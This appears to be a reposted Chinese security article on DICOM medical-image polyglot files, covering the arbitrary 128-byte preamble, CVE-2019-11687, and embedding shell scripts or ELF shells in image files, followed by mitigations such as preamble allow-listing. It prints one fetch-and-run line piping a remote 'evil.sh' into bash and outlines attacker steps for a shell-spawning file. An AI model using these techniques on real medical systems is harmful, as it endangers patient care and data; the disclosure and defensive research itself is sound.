黑客能看到我在医院拍的CT片子?技术已实现

将二进制空间安全设为"星标⭐️"

第一时间收到文章更新

DICOM® — 即医学数字成像与通信（Digital Imaging and Communications in Medicine）— 是用于医学图像及相关信息的国际标准。它定义了医学图像的格式，使图像可以携带满足临床使用所需的数据与质量进行交换。

DICOM几乎被应用于所有放射科、心脏影像以及放射治疗设备中（如 X 光、CT、MRI、超声等），并且正越来越多地用于其他医学领域的设备中，如眼科和牙科。在全球范围内，数十万台医学影像设备正在使用 DICOM，使其成为全球部署最广泛的医疗信息传输标准之一。现如今，实际用于临床护理的 DICOM图像已有数十亿张之多。

自 1993 年首次发布以来，DICOM彻底革新了放射学的实践，使得 X 光胶片被完全数字化的工作流程所取代。正如互联网成为新一代消费信息应用的平台一样，DICOM推动了先进医学影像应用的发展，这些应用“改变了临床医学的面貌”。从急诊科、心脏负荷测试到乳腺癌筛查，DICOM是让医学影像得以运作的标准——无论对医生还是对患者而言。

DICOM已被国际标准化组织（ISO）认可为 ISO 12052 标准。

一个 DICOM 文件包含两个主要部分：文件头（File Header）和数据集（Data Set）。文件头包括前导区（Preamble）和前缀（Prefix）。前导区为 128 字节的保留空间，没有预先定义的结构，允许应用程序根据其具体需要加以利用——这种设计促进了可扩展性，但也引入了安全隐患。前缀是 4 字节的 “DICM”，用作识别文件格式的魔术字节。数据集由多个数据元素组成，以标签-值的形式存储文件元数据或图像数据。每个数据元素都有一个标签来标识其对应的值，这些标签可区分元数据和图像数据值，以及数百种其他支持的数据类型。下图展示了 DICOM 文件格式的可视化结构：

接下来讨论的 DICOM 漏洞，其根源就在前导区。应用程序需要识别文件格式，以决定是否支持该格式及如何解析或执行它。尽管大多数文件格式在文件开头使用magic字节进行识别，DICOM 规范却允许在其标识符 “DICM” 之前存在 128 字节的任意内容。这种设计决定允许文件起始包含任意内容带来了严重的安全隐患，使得恶意多格式文件的创建成为可能。

当多格式能力与 DICOM 文件格式结合时，尤其危险。2019 年，Markel Picado Ortiz（d00rt）在《攻击医学数字图像与通信（DICOM）文件格式标准》中展示了一种攻击。他构造了一个包含 Windows PE 可执行文件和 DICOM 图像的多格式文件，称为 “PEDICOM”。前导区被用来存储 DOS 头和启动段，该启动段指向包含 PE 头和代码的 DICOM 数据元素。生成的 PEDICOM 文件若以 “.dcm” 扩展名打开，在传统的 DICOM 图像查看器中可正常查看；但若以 “.exe” 扩展名打开，在 Windows 系统中则会执行嵌入的 PE 文件。该漏洞被编号为 CVE-2019-11687，CVSS 3 得分为 7.8。

D00rt 的研究表明，复杂而稳健的 Windows 可执行恶意软件可嵌入 DICOM 文件格式中。任意内容的前导区也使得更简单的恶意文件可在医疗系统上执行。例如，在 Linux 系统上可通过 shebang（脚本首行）嵌入 shell 脚本Payload。一个 #!/bin/sh shebang 会留下 119 个字符的空间来加载并执行远程脚本。以下是一个将本地托管脚本重定向到 bash 的示例，这可使攻击者绕过字符限制：

bash#!/bin/bashbash <(curl -s http://127.0.0.1:8000/evil.sh)exit

这展示了一种复杂度低但影响高的攻击方式，当 DICOM 设备连接到本地或外部网络时尤其危险。考虑到最大Payload限制为 119 个字符，当设备离线时该攻击的影响较小。下面将介绍如何通过更复杂的攻击手段绕过这一限制。

如何在离线目标上实现无限大小的Payload？

将问题拆分为两个更小的问题以评估可行性：

1. 在哪里可以存储超过 128 字节的数据，同时仍保留 DICOM 图像文件的有效性？

2. 是否存在类似 PE 的可执行文件格式，可以使用带偏移的载荷进行执行？

第一个问题已被 d00rt 的研究解决：可将数据存储在元数据的数据元素标签中。

第二个问题的答案是：ELF！

ELF（可执行与可链接格式）就是 Linux 的 “.exe 文件”。这些是已编译的二进制文件，几乎可以完成任何任务——浏览器、计算器、勒索软件、音乐播放器、反弹 shell、即时通信工具、邮件客户端、数据泄露恶意程序，功能无限。

下面先展示一个例子,然后再解释细节。

从攻击者的角度，流程如下：

1. 创建一个要插入 DICOM 文件中的可执行文件。这次使用了 exploit-db 上的一段 ARM shell 代码，在本地虚拟机上运行。

2. 将代码汇编为对象文件，然后静态加载为可执行文件。

3. 拿到Payload后，使用 elfcom.py 将其程序化嵌入到 DICOM 文件中，生成多格式文件。

4. 添加可执行位。

5. 执行文件，获取 shell！

事后看来，通过 shell 调用文件来获取 shell 并不是一个有多新奇的概念验证，但 elfcom.dcm 文件本身是一个多格式文件，如图 所示。

这个执行了 shell 的 elfcom.dcm 文件是一个有效的 DICOM 文件，在基于 Linux 的 DICOM 查看器中可以无误打开。

在文章开头处,展示了DICOM文件格式, 下面看一下ELF的文件格式:

为了将它们组合在一起，可以想象 ELF 文件被插进现有的 DICOM 文件结构中。这种方式效果良好，因为 ELF 文件格式是基于偏移进行结构组织的。

但同时有个坏消息:如果移动了文件的各个部分，就必须手动修复执行所需的偏移地址。合并后的文件格式如图:

前面提到过, 不受限大小的载荷有助于实现离线系统的攻击，但尚未说明为何需要离线攻击。

DICOM 图像经常在设备间或医院系统间共享。如果病人转诊或被推荐给专家，甚至可能由病人本人通过可移动介质（如 USB、光盘）提供图像。一旦文件被导入系统，这些受信任的图像文件很可能通过网络传播，或通过外部存储介质在隔离系统之间传播。相比 shell 脚本语言，ELF 载荷完全包含在 DICOM 文件中，不需要依赖从网络位置获取的二阶段载荷。这种方式非常有可能造成系统范围的危害，从一个本地化设备扩展至任何接收该文件的设备。

这一攻击的主要缺点在于：必须通过执行文件来触发，而不是仅通过在 DICOM 查看器中打开图像。

DICOM 的文件结构本质上允许文件开头包含任意字节，而 Linux 及大多数操作系统在开头查找魔术字节。DICOM 查看器将前导区的字节视作一种功能；移除前导区会破坏现有的医疗流程。

答案是可以。如果不能采用更安全的文件格式，则可以通过一些明确的检测模式来发现此类文件，并限制其影响。

一种缓解措施是实现 DICOM 前导区白名单。该机制会在文件被导入系统前检查其前导区内容。允许的格式可以是已知良好的模式，例如 “TIFF” 魔术字节或 “x00” 空字节，而包含 ELF 魔术字节的文件则会被阻止。

和所有漏洞一样，许多有效的缓解策略是存在的，并可根据具体环境进行定制。一些缓解措施（如移除 DICOM 文件的可执行位）可能能防止上面演示的示例出现的情景，但在其他场景下可能无效。

这些新型攻击非常适合用来演示 DICOM 多格式文件的影响。对这些攻击方式的进一步研究将只会增强其Payload能力。我们的首要目标是通过漏洞披露而非武器化来预防安全事件的发生。

通过推动创建和采用更安全的协议，可以帮助提升关键行业的整体安全水平。随着越来越多的漏洞被披露，或者硬件与算法逐渐淘汰旧协议，它们将被更安全的替代方案所取代。设计系统时主动考虑如何顺利过渡到安全协议，将使整个医疗设备领域的安全性得到提升。

原文始发于微信公众号（二进制空间安全）：黑客能看到我在医院拍的CT片子?技术已实现